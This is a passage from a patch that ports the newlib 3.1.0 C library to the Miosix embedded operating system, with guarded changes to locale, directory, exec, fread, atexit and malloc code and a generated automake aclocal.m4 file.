_newlocale_r (_REENT, category_mask, locale, base); + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/setlocale.h newlib-3.1.0/newlib/libc/locale/setlocale.h +--- newlib-3.1.0-old/newlib/libc/locale/setlocale.h 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/setlocale.h 2024-07-26 22:02:58.645581943 +0200 +@@ -209,8 +209,13 @@ + _ELIDABLE_INLINE struct __locale_t * + __get_global_locale () + { ++#ifndef _MIOSIX + extern struct __locale_t __global_locale; + return &__global_locale; ++#else /* _MIOSIX */ ++ extern const struct __locale_t __global_locale; ++ return (struct __locale_t *)(&__global_locale); ++#endif /* _MIOSIX */ + } + + /* Per REENT locale. This is newlib-internal. */ +diff -ruN newlib-3.1.0-old/newlib/libc/locale/uselocale.c newlib-3.1.0/newlib/libc/locale/uselocale.c +--- newlib-3.1.0-old/newlib/libc/locale/uselocale.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/locale/uselocale.c 2024-07-26 22:02:58.645581943 +0200 +@@ -55,6 +55,8 @@ + #include + #include "setlocale.h" + ++#ifndef _MIOSIX ++ + struct __locale_t * + _uselocale_r (struct _reent *p, struct __locale_t *newloc) + { +@@ -77,3 +79,5 @@ + return _uselocale_r (_REENT, newloc); + } + #endif ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/closedir.c newlib-3.1.0/newlib/libc/posix/closedir.c +--- newlib-3.1.0-old/newlib/libc/posix/closedir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/closedir.c 2024-07-26 22:02:58.645581943 +0200 +@@ -57,7 +57,15 @@ + __lock_acquire_recursive(dirp->dd_lock); + #endif + rc = close(dirp->dd_fd); ++#ifndef _MIOSIX + _cleanupdir(dirp); ++#else /* _MIOSIX */ ++ /* ++ * A call through a pointer avoids pulling in _cleanupdir, which brings ++ * in 128 bytes of BSS, unless user code actually uses seekdir/telldir. ++ */ ++ if(dirp->dd_onclose) dirp->dd_onclose(dirp); ++#endif /* _MIOSIX */ + free((void *)dirp->dd_buf); + #ifdef HAVE_DD_LOCK + __lock_release_recursive(dirp->dd_lock); +diff -ruN newlib-3.1.0-old/newlib/libc/posix/execl.c newlib-3.1.0/newlib/libc/posix/execl.c +--- newlib-3.1.0-old/newlib/libc/posix/execl.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/execl.c 2025-01-28 23:42:31.061928012 +0100 +@@ -7,6 +7,9 @@ + + #include <_ansi.h> + #include ++#include ++#include ++#include + + /* Only deal with a pointer to environ, to work around subtle bugs with shared + libraries and/or small data systems where the user declares his own +@@ -24,7 +27,24 @@ + { + int i; + va_list args; +- const char *argv[256]; ++ const char **argv; ++ ++ i = 1; ++ va_start (args, arg0); ++ do ++ i++; ++ while (va_arg (args, const char *) != NULL); ++ va_end (args); ++#ifndef _EXECL_USE_MALLOC ++ argv = alloca (i * sizeof(const char *)); ++#else ++ argv = malloc (i * sizeof(const char *)); ++ if (argv == NULL) ++ { ++ errno = ENOMEM; ++ return -1; ++ } ++#endif + + va_start (args, arg0); + argv[0] = arg0; +@@ -34,6 +54,10 @@ + while (argv[i++] != NULL); + va_end (args); + +- return _execve (path, (char * const *) argv, *p_environ); ++ i = _execve (path, (char * const *) argv, *p_environ); ++#ifdef _EXECL_USE_MALLOC ++ free (argv); ++#endif ++ return i; + } + #endif /* !_NO_EXECVE */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/execle.c newlib-3.1.0/newlib/libc/posix/execle.c +--- newlib-3.1.0-old/newlib/libc/posix/execle.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/execle.c 2025-01-28 23:42:33.421948503 +0100 +@@ -7,6 +7,9 @@ + + #include <_ansi.h> + #include ++#include ++#include ++#include + + + #include +@@ -20,7 +23,24 @@ + int i; + va_list args; + const char * const *envp; +- const char *argv[256]; ++ const char **argv; ++ ++ i = 1; ++ va_start (args, arg0); ++ do ++ i++; ++ while (va_arg (args, const char *) != NULL); ++ va_end (args); ++#ifndef _EXECL_USE_MALLOC ++ argv = alloca (i * sizeof(const char *)); ++#else ++ argv = malloc (i * sizeof(const char *)); ++ if (argv == NULL) ++ { ++ errno = ENOMEM; ++ return -1; ++ } ++#endif + + va_start (args, arg0); + argv[0] = arg0; +@@ -31,7 +51,11 @@ + envp = va_arg (args, const char * const *); + va_end (args); + +- return _execve (path, (char * const *) argv, (char * const *) envp); ++ i = _execve (path, (char * const *) argv, (char * const *) envp); ++#ifdef _EXECL_USE_MALLOC ++ free (argv); ++#endif ++ return i; + } + + #endif /* !_NO_EXECVE */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/execlp.c newlib-3.1.0/newlib/libc/posix/execlp.c +--- newlib-3.1.0-old/newlib/libc/posix/execlp.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/execlp.c 2025-01-28 23:42:35.065962787 +0100 +@@ -7,6 +7,9 @@ + + #include <_ansi.h> + #include ++#include ++#include ++#include + + + #include +@@ -19,7 +22,24 @@ + { + int i; + va_list args; +- const char *argv[256]; ++ const char **argv; ++ ++ i = 1; ++ va_start (args, arg0); ++ do ++ i++; ++ while (va_arg (args, const char *) != NULL); ++ va_end (args); ++#ifndef _EXECL_USE_MALLOC ++ argv = alloca (i * sizeof(const char *)); ++#else ++ argv = malloc (i * sizeof(const char *)); ++ if (argv == NULL) ++ { ++ errno = ENOMEM; ++ return -1; ++ } ++#endif + + va_start (args, arg0); + argv[0] = arg0; +@@ -29,7 +49,11 @@ + while (argv[i++] != NULL); + va_end (args); + +- return execvp (path, (char * const *) argv); ++ i = execvp (path, (char * const *) argv); ++#ifdef _EXECL_USE_MALLOC ++ free (argv); ++#endif ++ return i; + } + + #endif /* !_NO_EXECVE */ +diff -ruN newlib-3.1.0-old/newlib/libc/posix/_isatty.c newlib-3.1.0/newlib/libc/posix/_isatty.c +--- newlib-3.1.0-old/newlib/libc/posix/_isatty.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/_isatty.c 2024-07-26 22:02:58.645581943 +0200 +@@ -2,6 +2,11 @@ + + /* Dumb implementation so programs will at least run. */ + ++/* ++ * Miosix has isatty() ++ */ ++#ifndef _MIOSIX ++ + #include + #include + +@@ -19,3 +24,5 @@ + errno = ENOTTY; + return 0; + } ++ ++#endif /* _MIOSIX */ +\ No newline at end of file +diff -ruN newlib-3.1.0-old/newlib/libc/posix/isatty.c newlib-3.1.0/newlib/libc/posix/isatty.c +--- newlib-3.1.0-old/newlib/libc/posix/isatty.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/isatty.c 2024-07-26 22:02:58.645581943 +0200 +@@ -1,5 +1,10 @@ + /* isatty.c */ + ++/* ++ * Miosix has isatty() ++ */ ++#ifndef _MIOSIX ++ + #include + #include + +@@ -8,3 +13,5 @@ + { + return _isatty (fd); + } ++ ++#endif /* _MIOSIX */ +\ No newline at end of file +diff -ruN newlib-3.1.0-old/newlib/libc/posix/opendir.c newlib-3.1.0/newlib/libc/posix/opendir.c +--- newlib-3.1.0-old/newlib/libc/posix/opendir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/opendir.c 2024-07-26 22:02:58.645581943 +0200 +@@ -58,8 +58,16 @@ + * Hopefully this can be a big win someday by allowing page trades + * to user space to be done by getdirentries() + */ ++#ifndef _MIOSIX + dirp->dd_buf = malloc (512); + dirp->dd_len = 512; ++#else /* _MIOSIX */ ++ /* Allocate the minimum possible size */ ++ dirp->dd_buf = malloc (sizeof(struct dirent)); ++ dirp->dd_len = sizeof(struct dirent); ++ /* Assume seekdir/telldir unused until they're actually called */ ++ dirp->dd_onclose = NULL; ++#endif /* _MIOSIX */ + + if (dirp->dd_buf == NULL) { + free (dirp); +diff -ruN newlib-3.1.0-old/newlib/libc/posix/rewinddir.c newlib-3.1.0/newlib/libc/posix/rewinddir.c +--- newlib-3.1.0-old/newlib/libc/posix/rewinddir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/rewinddir.c 2024-07-26 22:02:58.649581998 +0200 +@@ -47,7 +47,16 @@ + #ifdef HAVE_DD_LOCK + __lock_acquire_recursive(dirp->dd_lock); + #endif ++ ++#ifndef _MIOSIX + _seekdir((dirp), 0L); ++#else /* _MIOSIX */ ++ /* This avoids pulling in _seekdir, which brings in 128 byte of BSS */ ++ (void) lseek(dirp->dd_fd, 0, 0); ++ dirp->dd_seek = 0; ++ dirp->dd_loc = 0; ++#endif /* _MIOSIX */ ++ + #ifdef HAVE_DD_LOCK + __lock_release_recursive(dirp->dd_lock); + #endif +diff -ruN newlib-3.1.0-old/newlib/libc/posix/telldir.c newlib-3.1.0/newlib/libc/posix/telldir.c +--- newlib-3.1.0-old/newlib/libc/posix/telldir.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/posix/telldir.c 2024-07-26 22:02:58.649581998 +0200 +@@ -74,6 +74,8 @@ + __LOCK_INIT(static, __dd_hash_mutex); + #endif + ++void _cleanupdir (register DIR *dirp); ++ + /* + * return a pointer into a directory + */ +@@ -95,6 +97,9 @@ + __lock_acquire(__dd_hash_mutex); + #endif + #endif ++#ifdef _MIOSIX ++ dirp->dd_onclose=_cleanupdir; ++#endif /* _MIOSIX */ + index = dd_loccnt++; + lp->loc_index = index; + lp->loc_seek = dirp->dd_seek; +@@ -129,6 +134,9 @@ + __lock_acquire(__dd_hash_mutex); + #endif + if (loc != 0) { ++#ifdef _MIOSIX ++ dirp->dd_onclose=_cleanupdir; ++#endif /* _MIOSIX */ + prevlp = &dd_hash[LOCHASH(loc)]; + lp = *prevlp; + while (lp != NULL) { +diff -ruN newlib-3.1.0-old/newlib/libc/stdio/fread.c newlib-3.1.0/newlib/libc/stdio/fread.c +--- newlib-3.1.0-old/newlib/libc/stdio/fread.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdio/fread.c 2024-07-28 11:45:00.366996203 +0200 +@@ -84,6 +84,8 @@ + #include + #include + #include ++#include ++#include + #include "local.h" + + #ifdef __IMPL_UNLOCKED__ +@@ -91,6 +93,8 @@ + #define fread fread_unlocked + #endif + ++#define MIN(a, b) ((a) < (b) ? (a) : (b)) ++ + #ifdef __SCLE + static size_t + crlf_r (struct _reent * ptr, +@@ -166,23 +170,77 @@ + + #if !defined(PREFER_SIZE_OVER_SPEED) && !defined(__OPTIMIZE_SIZE__) + +- /* Optimize unbuffered I/O. */ ++ int buffer_size; + if (fp->_flags & __SNBF) ++ buffer_size = 1; /* Unbuffered file, buffer_size is 1 see __smakebuf_r */ ++ else ++ { ++ if (fp->_bf._base == NULL) ++ __smakebuf_r (ptr, fp); ++ buffer_size = fp->_bf._size; /* fp->_bf._size is zero until __smakebuf_r */ ++ } ++ ++ /* Optimize unbuffered I/O and large reads. */ ++ if (resid >= buffer_size) + { +- /* First copy any available characters from ungetc buffer. */ +- int copy_size = resid > fp->_r ? fp->_r : resid; +- (void) memcpy ((void *) p, (void *) fp->_p, (size_t) copy_size); +- fp->_p += copy_size; +- fp->_r -= copy_size; +- p += copy_size; +- resid -= copy_size; +- +- /* If still more data needed, free any allocated ungetc buffer. */ +- if (HASUB (fp) && resid > 0) +- FREEUB (ptr, fp); ++ /* If we were writing, need to flush in case the file was buffered. ++ This code was taken from __srefill_r */ ++ if ((fp->_flags & __SRD) == 0) ++ { ++ if ((fp->_flags & __SRW) == 0) ++ { ++ ptr->_errno = EBADF; ++ fp->_flags |= __SERR; ++ _newlib_flockfile_exit (fp); ++ return 0; ++ } ++ /* switch to reading */ ++ if (fp->_flags & __SWR) ++ { ++ if (__sflush_r (ptr, fp)) ++ { ++ _newlib_flockfile_exit (fp); ++ return 0; ++ } ++ fp->_flags &= ~__SWR; ++ fp->_w = 0; ++ fp->_lbfsize = 0; ++ } ++ fp->_flags |= __SRD; ++ } ++ else ++ { ++ /* ++ * We were reading. There may be data in up to two buffers, the ++ * file buffer if this is a buffered file, and the ungetc buffer, ++ * that can exist also in unbuffered files. ++ * This loop can iterate at most twice, the first time when we consume ++ * the ungetc buffer and restore the file buffer, and the second time ++ * when we consume the file buffer. ++ */ ++ int copy_size; ++ while ((copy_size = resid > fp->_r ? fp->_r : resid) > 0) ++ { ++ (void) memcpy ((void *) p, (void *) fp->_p, (size_t) copy_size); ++ fp->_p += copy_size; ++ fp->_r -= copy_size; ++ p += copy_size; ++ resid -= copy_size; ++ ++ /* If still more data needed, free any allocated ungetc buffer. */ ++ if (HASUB (fp) && resid > 0) ++ { ++ FREEUB (ptr, fp); ++ /* Code taken from __srefill_r, does anybody know why we don't ++ * unconditionally restore fp->_p? */ ++ if ((fp->_r = fp->_ur) != 0) ++ fp->_p = fp->_up; ++ } ++ } ++ } + + /* Finally read directly into user's buffer if needed. */ +- while (resid > 0) ++ while (resid >= buffer_size) + { + int rc = 0; + /* save fp buffering state */ +@@ -191,7 +249,7 @@ + int old_size = fp->_bf._size; + /* allow __refill to use user's buffer */ + fp->_bf._base = (unsigned char *) p; +- fp->_bf._size = resid; ++ fp->_bf._size = ((int)MIN (resid, INT_MAX)) / buffer_size * buffer_size; + fp->_p = (unsigned char *) p; + rc = __srefill_r (ptr, fp); + /* restore fp buffering back to original state */ +@@ -215,34 +273,31 @@ + } + } + } +- else + #endif /* !PREFER_SIZE_OVER_SPEED && !__OPTIMIZE_SIZE__ */ ++ while (resid > (r = fp->_r)) + { +- while (resid > (r = fp->_r)) +- { +- (void) memcpy ((void *) p, (void *) fp->_p, (size_t) r); +- fp->_p += r; +- /* fp->_r = 0 ... done in __srefill */ +- p += r; +- resid -= r; +- if (__srefill_r (ptr, fp)) +- { +- /* no more input: return partial result */ ++ (void) memcpy ((void *) p, (void *) fp->_p, (size_t) r); ++ fp->_p += r; ++ /* fp->_r = 0 ... done in __srefill */ ++ p += r; ++ resid -= r; ++ if (__srefill_r (ptr, fp)) ++ { ++ /* no more input: return partial result */ + #ifdef __SCLE +- if (fp->_flags & __SCLE) +- { +- _newlib_flockfile_exit (fp); +- return crlf_r (ptr, fp, buf, total-resid, 1) / size; +- } ++ if (fp->_flags & __SCLE) ++ { ++ _newlib_flockfile_exit (fp); ++ return crlf_r (ptr, fp, buf, total-resid, 1) / size; ++ } + #endif +- _newlib_flockfile_exit (fp); +- return (total - resid) / size; +- } +- } +- (void) memcpy ((void *) p, (void *) fp->_p, resid); +- fp->_r -= resid; +- fp->_p += resid; ++ _newlib_flockfile_exit (fp); ++ return (total - resid) / size; ++ } + } ++ (void) memcpy ((void *) p, (void *) fp->_p, resid); ++ fp->_r -= resid; ++ fp->_p += resid; + + /* Perform any CR/LF clean-up if necessary. */ + #ifdef __SCLE +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/__atexit.c newlib-3.1.0/newlib/libc/stdlib/__atexit.c +--- newlib-3.1.0-old/newlib/libc/stdlib/__atexit.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/__atexit.c 2024-07-26 22:02:58.649581998 +0200 +@@ -38,6 +38,13 @@ + #include + #include "atexit.h" + ++/* ++ * Miosix moves __register_exitproc outside of newlib to make it possible to ++ * compile the kernel both with and without atexit support, without rebuilding ++ * newlib. ++ */ ++#ifndef _MIOSIX ++ + /* Make this a weak reference to avoid pulling in malloc. */ + #ifndef MALLOC_PROVIDED + void * malloc(size_t) _ATTRIBUTE((__weak__)); +@@ -157,3 +164,5 @@ + #endif + return 0; + } ++ ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/__call_atexit.c newlib-3.1.0/newlib/libc/stdlib/__call_atexit.c +--- newlib-3.1.0-old/newlib/libc/stdlib/__call_atexit.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/__call_atexit.c 2024-07-26 22:02:58.649581998 +0200 +@@ -13,6 +13,8 @@ + void free(void *) _ATTRIBUTE((__weak__)); + #endif + ++#ifndef _MIOSIX ++ + #ifndef __SINGLE_THREAD__ + __LOCK_INIT_RECURSIVE(, __atexit_recursive_mutex); + #endif +@@ -21,6 +23,8 @@ + struct _atexit *_global_atexit = _NULL; + #endif + ++#endif /* _MIOSIX */ ++ + #ifdef _WANT_REGISTER_FINI + + /* If "__libc_fini" is defined, finalizers (either +@@ -62,6 +66,12 @@ + #endif /* _WANT_REGISTER_FINI */ + + /* ++ * Miosix moves __call_exitprocs out of newlib to make it possible to compile ++ * the kernel both with and without atexit support, without rebuilding newlib ++ */ ++#ifndef _MIOSIX ++ ++/* + * Call registered exit handlers. If D is null then all handlers are called, + * otherwise only the handlers from that DSO are called. + */ +@@ -159,3 +169,4 @@ + #endif + + } ++#endif /* _MIOSIX */ +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/mallocr.c newlib-3.1.0/newlib/libc/stdlib/mallocr.c +--- newlib-3.1.0-old/newlib/libc/stdlib/mallocr.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/mallocr.c 2024-07-26 22:02:58.649581998 +0200 +@@ -320,7 +320,12 @@ + #ifdef SMALL_MEMORY + #define malloc_getpagesize (128) + #else ++#ifndef _MIOSIX + #define malloc_getpagesize (4096) ++#else /* _MIOSIX */ ++/* Page size reduced for microcontrolllers whose RAM is not a multiple of 4KB */ ++#define malloc_getpagesize (1024) ++#endif /* _MIOSIX */ + #endif + #endif + +diff -ruN newlib-3.1.0-old/newlib/libc/stdlib/mlock.c newlib-3.1.0/newlib/libc/stdlib/mlock.c +--- newlib-3.1.0-old/newlib/libc/stdlib/mlock.c 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/stdlib/mlock.c 2024-07-26 22:02:58.649581998 +0200 +@@ -32,6 +32,11 @@ + #include + #include + ++/* ++ * __malloc_lock() and __malloc_unlock() are dealt with within Miosix ++ */ ++#ifndef _MIOSIX ++ + #ifndef __SINGLE_THREAD__ + __LOCK_INIT_RECURSIVE(static, __malloc_recursive_mutex); + #endif +@@ -54,4 +59,6 @@ + #endif + } + ++#endif /* !_MIOSIX */ ++ + #endif +diff -ruN newlib-3.1.0-old/newlib/libc/sys/configure newlib-3.1.0/newlib/libc/sys/configure +--- newlib-3.1.0-old/newlib/libc/sys/configure 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/configure 2024-07-26 22:02:58.649581998 +0200 +@@ -795,6 +795,7 @@ + h8500hms + linux + m88kbug ++miosix + mmixware + netware + or1k +@@ -11841,6 +11842,8 @@ + ;; + m88kbug) subdirs="$subdirs m88kbug" + ;; ++ miosix) subdirs="$subdirs miosix" ++ ;; + mmixware) subdirs="$subdirs mmixware" + ;; + netware) subdirs="$subdirs netware" +diff -ruN newlib-3.1.0-old/newlib/libc/sys/configure.in newlib-3.1.0/newlib/libc/sys/configure.in +--- newlib-3.1.0-old/newlib/libc/sys/configure.in 2019-01-01 05:40:11.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/configure.in 2024-07-26 22:02:58.649581998 +0200 +@@ -31,6 +31,7 @@ + h8500hms) AC_CONFIG_SUBDIRS(h8500hms) ;; + linux) AC_CONFIG_SUBDIRS(linux) ;; + m88kbug) AC_CONFIG_SUBDIRS(m88kbug) ;; ++ miosix) AC_CONFIG_SUBDIRS(miosix) ;; + mmixware) AC_CONFIG_SUBDIRS(mmixware) ;; + netware) AC_CONFIG_SUBDIRS(netware) ;; + or1k) AC_CONFIG_SUBDIRS(or1k) ;; +diff -ruN newlib-3.1.0-old/newlib/libc/sys/miosix/aclocal.m4 newlib-3.1.0/newlib/libc/sys/miosix/aclocal.m4 +--- newlib-3.1.0-old/newlib/libc/sys/miosix/aclocal.m4 1970-01-01 01:00:00.000000000 +0100 ++++ newlib-3.1.0/newlib/libc/sys/miosix/aclocal.m4 2024-07-26 22:02:58.649581998 +0200 +@@ -0,0 +1,1012 @@ ++# generated automatically by aclocal 1.11.6 -*- Autoconf -*- ++ ++# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, ++# 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, ++# Inc. ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# This program is distributed in the hope that it will be useful, ++# but WITHOUT ANY WARRANTY, to the extent permitted by law; without ++# even the implied warranty of MERCHANTABILITY or FITNESS FOR A ++# PARTICULAR PURPOSE. ++ ++m4_ifndef([AC_AUTOCONF_VERSION], ++ [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl ++m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.68],, ++[m4_warning([this file was generated for autoconf 2.68. ++You have another version of autoconf. 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These depmodes are late enough in the game, and ++ # so weak that their functioning should not be impacted. ++ am__obj=conftest.${OBJEXT-o} ++ am__minus_obj= ++ ;; ++ none) break ;; ++ esac ++ if depmode=$depmode \ ++ source=sub/conftest.c object=$am__obj \ ++ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ ++ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ ++ >/dev/null 2>conftest.err && ++ grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && ++ grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && ++ grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ++ ${MAKE-make} -s -f confmf > /dev/null 2>&1; then ++ # icc doesn't choke on unknown options, it will just issue warnings ++ # or remarks (even with -Werror). So we grep stderr for any message ++ # that says an option was ignored or not supported. ++ # When given -MP, icc 7.0 and 7.1 complain thusly: ++ # icc: Command line warning: ignoring option '-M'; no argument required ++ # The diagnosis changed in icc 8.0: ++ # icc: Command line remark: option '-MP' not supported ++ if (grep 'ignoring option' conftest.err || ++ grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else ++ am_cv_$1_dependencies_compiler_type=$depmode ++ break ++ fi ++ fi ++ done ++ ++ cd .. ++ rm -rf conftest.dir ++else ++ am_cv_$1_dependencies_compiler_type=none ++fi ++]) ++AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type]) ++AM_CONDITIONAL([am__fastdep$1], [ ++ test "x$enable_dependency_tracking" != xno \ ++ && test "$am_cv_$1_dependencies_compiler_type" = gcc3]) ++]) ++ ++ ++# AM_SET_DEPDIR ++# ------------- ++# Choose a directory name for dependency files. ++# This macro is AC_REQUIREd in _AM_DEPENDENCIES ++AC_DEFUN([AM_SET_DEPDIR], ++[AC_REQUIRE([AM_SET_LEADING_DOT])dnl ++AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl ++]) ++ ++ ++# AM_DEP_TRACK ++# ------------ ++AC_DEFUN([AM_DEP_TRACK], ++[AC_ARG_ENABLE(dependency-tracking, ++[ --disable-dependency-tracking speeds up one-time build ++ --enable-dependency-tracking do not reject slow dependency extractors]) ++if test "x$enable_dependency_tracking" != xno; then ++ am_depcomp="$ac_aux_dir/depcomp" ++ AMDEPBACKSLASH='\' ++ am__nodep='_no' ++fi ++AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno]) ++AC_SUBST([AMDEPBACKSLASH])dnl ++_AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl ++AC_SUBST([am__nodep])dnl ++_AM_SUBST_NOTMAKE([am__nodep])dnl ++]) ++ ++# Generate code to set up dependency tracking. -*- Autoconf -*- ++ ++# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2008 ++# Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++#serial 5 ++ ++# _AM_OUTPUT_DEPENDENCY_COMMANDS ++# ------------------------------ ++AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], ++[{ ++ # Autoconf 2.62 quotes --file arguments for eval, but not when files ++ # are listed without --file. Let's play safe and only enable the eval ++ # if we detect the quoting. ++ case $CONFIG_FILES in ++ *\'*) eval set x "$CONFIG_FILES" ;; ++ *) set x $CONFIG_FILES ;; ++ esac ++ shift ++ for mf ++ do ++ # Strip MF so we end up with the name of the file. ++ mf=`echo "$mf" | sed -e 's/:.*$//'` ++ # Check whether this is an Automake generated Makefile or not. ++ # We used to match only the files named `Makefile.in', but ++ # some people rename them; so instead we look at the file content. ++ # Grep'ing the first line is not enough: some people post-process ++ # each Makefile.in and add a new line on top of each file to say so. ++ # Grep'ing the whole file is not good either: AIX grep has a line ++ # limit of 2048, but all sed's we know have understand at least 4000. ++ if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then ++ dirpart=`AS_DIRNAME("$mf")` ++ else ++ continue ++ fi ++ # Extract the definition of DEPDIR, am__include, and am__quote ++ # from the Makefile without running `make'. ++ DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` ++ test -z "$DEPDIR" && continue ++ am__include=`sed -n 's/^am__include = //p' < "$mf"` ++ test -z "am__include" && continue ++ am__quote=`sed -n 's/^am__quote = //p' < "$mf"` ++ # When using ansi2knr, U may be empty or an underscore; expand it ++ U=`sed -n 's/^U = //p' < "$mf"` ++ # Find all dependency output files, they are included files with ++ # $(DEPDIR) in their names. We invoke sed twice because it is the ++ # simplest approach to changing $(DEPDIR) to its actual value in the ++ # expansion. ++ for file in `sed -n " ++ s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ ++ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do ++ # Make sure the directory exists. ++ test -f "$dirpart/$file" && continue ++ fdir=`AS_DIRNAME(["$file"])` ++ AS_MKDIR_P([$dirpart/$fdir]) ++ # echo "creating $dirpart/$file" ++ echo '# dummy' > "$dirpart/$file" ++ done ++ done ++} ++])# _AM_OUTPUT_DEPENDENCY_COMMANDS ++ ++ ++# AM_OUTPUT_DEPENDENCY_COMMANDS ++# ----------------------------- ++# This macro should only be invoked once -- use via AC_REQUIRE. ++# ++# This code is only required when automatic dependency tracking ++# is enabled. FIXME. This creates each `.P' file that we will ++# need in order to bootstrap the dependency handling code. ++AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], ++[AC_CONFIG_COMMANDS([depfiles], ++ [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS], ++ [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"]) ++]) ++ ++# Do all the work for Automake. -*- Autoconf -*- ++ ++# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, ++# 2005, 2006, 2008, 2009 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 16 ++ ++# This macro actually does too much. Some checks are only needed if ++# your package does certain things. But this isn't really a big deal. ++ ++# AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE]) ++# AM_INIT_AUTOMAKE([OPTIONS]) ++# ----------------------------------------------- ++# The call with PACKAGE and VERSION arguments is the old style ++# call (pre autoconf-2.50), which is being phased out. PACKAGE ++# and VERSION should now be passed to AC_INIT and removed from ++# the call to AM_INIT_AUTOMAKE. ++# We support both call styles for the transition. After ++# the next Automake release, Autoconf can make the AC_INIT ++# arguments mandatory, and then we can depend on a new Autoconf ++# release and drop the old call support. ++AC_DEFUN([AM_INIT_AUTOMAKE], ++[AC_PREREQ([2.62])dnl ++dnl Autoconf wants to disallow AM_ names. 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The stamp files are numbered to have different names. ++ ++# Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the ++# loop where config.status creates the headers, so we can generate ++# our stamp files there. ++AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], ++[# Compute $1's index in $config_headers. ++_am_arg=$1 ++_am_stamp_count=1 ++for _am_header in $config_headers :; do ++ case $_am_header in ++ $_am_arg | $_am_arg:* ) ++ break ;; ++ * ) ++ _am_stamp_count=`expr $_am_stamp_count + 1` ;; ++ esac ++done ++echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count]) ++ ++# Copyright (C) 2001, 2003, 2005, 2008, 2011 Free Software Foundation, ++# Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 1 ++ ++# AM_PROG_INSTALL_SH ++# ------------------ ++# Define $install_sh. ++AC_DEFUN([AM_PROG_INSTALL_SH], ++[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl ++if test x"${install_sh}" != xset; then ++ case $am_aux_dir in ++ *\ * | *\ *) ++ install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; ++ *) ++ install_sh="\${SHELL} $am_aux_dir/install-sh" ++ esac ++fi ++AC_SUBST(install_sh)]) ++ ++# Copyright (C) 2003, 2005 Free Software Foundation, Inc. ++# ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# serial 2 ++ ++# Check whether the underlying file-system supports filenames ++# with a leading dot. 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This can happen ++ # if, for instance, CONFIG_SHELL is bash and it 